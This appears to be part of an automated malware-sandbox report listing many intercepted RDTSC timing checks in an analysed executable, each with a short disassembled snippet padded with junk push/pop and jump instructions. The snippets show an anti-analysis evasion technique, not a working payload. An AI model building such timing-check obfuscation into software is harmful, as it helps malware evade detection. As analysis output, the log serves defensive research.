Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389B1F second address: 1389B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389E4F second address: 1389E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389E57 second address: 1389E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389FA8 second address: 1389FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389FAC second address: 1389FB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389FB0 second address: 1389FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F60C0F4763Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389FBE second address: 1389FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A119 second address: 138A11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A11D second address: 138A140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F60C078F3D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A140 second address: 138A14C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F60C0F47636h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A14C second address: 138A15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3DCh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A2F2 second address: 138A2FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E44A second address: 138E456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E456 second address: 138E466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393ACB second address: 1393ADE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60C078F3DBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393ADE second address: 1393AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FFBD second address: 139FFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FFC1 second address: 139FFCD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FFCD second address: 139FFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FFD1 second address: 139FFDB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F60C0F47636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FB30 second address: 139FB38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FCC5 second address: 139FCD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FCD6 second address: 139FCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F60C078F3DFh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5CE1 second address: 13A5D45 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F60C0F47649h 0x00000008 jmp 00007F60C0F47642h 0x0000000d pop edi 0x0000000e jmp 00007F60C0F47644h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 ja 00007F60C0F47636h 0x0000001d jl 00007F60C0F47636h 0x00000023 push esi 0x00000024 pop esi 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jl 00007F60C0F47636h 0x0000002e jnp 00007F60C0F47636h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5D45 second address: 13A5D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D77DC second address: 12D77F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F60C0F47636h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F60C0F4763Ch 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D77F9 second address: 12D780F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D780F second address: 12D781D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5779 second address: 13A577D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A577D second address: 13A5781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A58AF second address: 13A58B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A58B5 second address: 13A58D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C0F47647h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A58D1 second address: 13A58E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 je 00007F60C078F3E2h 0x0000000d jns 00007F60C078F3D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA9C0 second address: 13AA9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5C8B second address: 13B5C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F60C078F3D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF04B second address: 13BF070 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F60C0F47636h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F60C0F47645h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF1B7 second address: 13BF1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F60C078F3D6h 0x0000000a pop edi 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f jno 00007F60C078F3EAh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF1E6 second address: 13BF1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF1EB second address: 13BF1F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF48D second address: 13BF491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF491 second address: 13BF4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F60C078F3DCh 0x0000000f jnl 00007F60C078F3DCh 0x00000015 jnl 00007F60C078F3D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF4B2 second address: 13BF4BC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60C0F47642h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3C22 second address: 13C3C3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60C078F3E5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3C3D second address: 13C3C44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3965 second address: 13C396C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C396C second address: 13C398A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F60C0F47647h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1D9A second address: 13D1DB3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F60C078F3E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6846 second address: 13D684F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F083D second address: 13F0841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0841 second address: 13F0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F60C0F47638h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F60C0F47643h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0866 second address: 13F087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F60C078F3E2h 0x0000000c jng 00007F60C078F3D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F06C0 second address: 13F06C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5520 second address: 13F5524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5524 second address: 13F5545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F60C0F47636h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F60C0F47642h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5545 second address: 13F554B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F554B second address: 13F5563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C0F47644h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F441A second address: 13F4426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F60C078F3D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4426 second address: 13F442F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F442F second address: 13F4439 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F60C078F3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4439 second address: 13F4461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F60C0F4763Ch 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F60C0F47640h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F471B second address: 13F4721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4867 second address: 13F4883 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jmp 00007F60C0F4763Dh 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F49C3 second address: 13F49C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4CA8 second address: 13F4CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4DFE second address: 13F4E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DAh 0x00000007 jmp 00007F60C078F3DAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4E16 second address: 13F4E21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F60C0F47636h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C53EA second address: 12C5404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F60C078F3E3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5110 second address: 13F511E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F60C0F47636h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5272 second address: 13F5287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F60C078F3DDh 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F817B second address: 13F81A7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60C0F47638h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 jbe 00007F60C0F47638h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 push 00000004h 0x0000001b mov edx, dword ptr [ebp+122D3900h] 0x00000021 push DB0843CFh 0x00000026 push eax 0x00000027 push edx 0x00000028 push edx 0x00000029 push eax 0x0000002a pop eax 0x0000002b pop edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F846E second address: 13F84C6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60C078F3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F60C078F3E9h 0x00000010 pop eax 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007F60C078F3DEh 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F60C078F3DEh 0x00000022 popad 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b ja 00007F60C078F3D6h 0x00000031 pop ecx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84C6 second address: 13F84CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84CC second address: 13F84D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84D0 second address: 13F84D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F96B7 second address: 13F96BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04B2 second address: 4EA04B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA04B7 second address: 4EA0503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F60C078F3E7h 0x0000000a sbb al, FFFFFFCEh 0x0000000d jmp 00007F60C078F3E9h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F60C078F3DDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0503 second address: 4EA053D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F60C0F4763Ah 0x00000013 add esi, 1B1D5DA8h 0x00000019 jmp 00007F60C0F4763Bh 0x0000001e popfd 0x0000001f mov dx, ax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA053D second address: 4EA056C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F60C078F3DBh 0x00000008 pop eax 0x00000009 movsx edi, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F60C078F3E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D4E second address: 4EA0D6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D6B second address: 4EA0D90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60C078F3DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC000A second address: 4EC003B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60C0F4763Eh 0x00000008 jmp 00007F60C0F47645h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC003B second address: 4EC003F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC003F second address: 4EC0045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0045 second address: 4EC009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F60C078F3E1h 0x00000011 sbb eax, 2119BCE6h 0x00000017 jmp 00007F60C078F3E1h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F60C078F3DDh 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC009E second address: 4EC00A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00A2 second address: 4EC00A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC00A8 second address: 4EC0137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60C0F47640h 0x00000009 xor cl, FFFFFFE8h 0x0000000c jmp 00007F60C0F4763Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F60C0F47648h 0x00000018 add ecx, 3553BD48h 0x0000001e jmp 00007F60C0F4763Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 mov cx, 25DBh 0x0000002d mov edi, eax 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F60C0F4763Dh 0x00000036 xchg eax, ecx 0x00000037 jmp 00007F60C0F4763Eh 0x0000003c xchg eax, ecx 0x0000003d jmp 00007F60C0F47640h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0137 second address: 4EC013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC013B second address: 4EC0141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0141 second address: 4EC01AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F60C078F3E6h 0x0000000f push dword ptr [ebp+08h] 0x00000012 jmp 00007F60C078F3E0h 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F60C078F3DEh 0x00000021 or esi, 414591F8h 0x00000027 jmp 00007F60C078F3DBh 0x0000002c popfd 0x0000002d mov di, cx 0x00000030 popad 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01AE second address: 4EC01B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
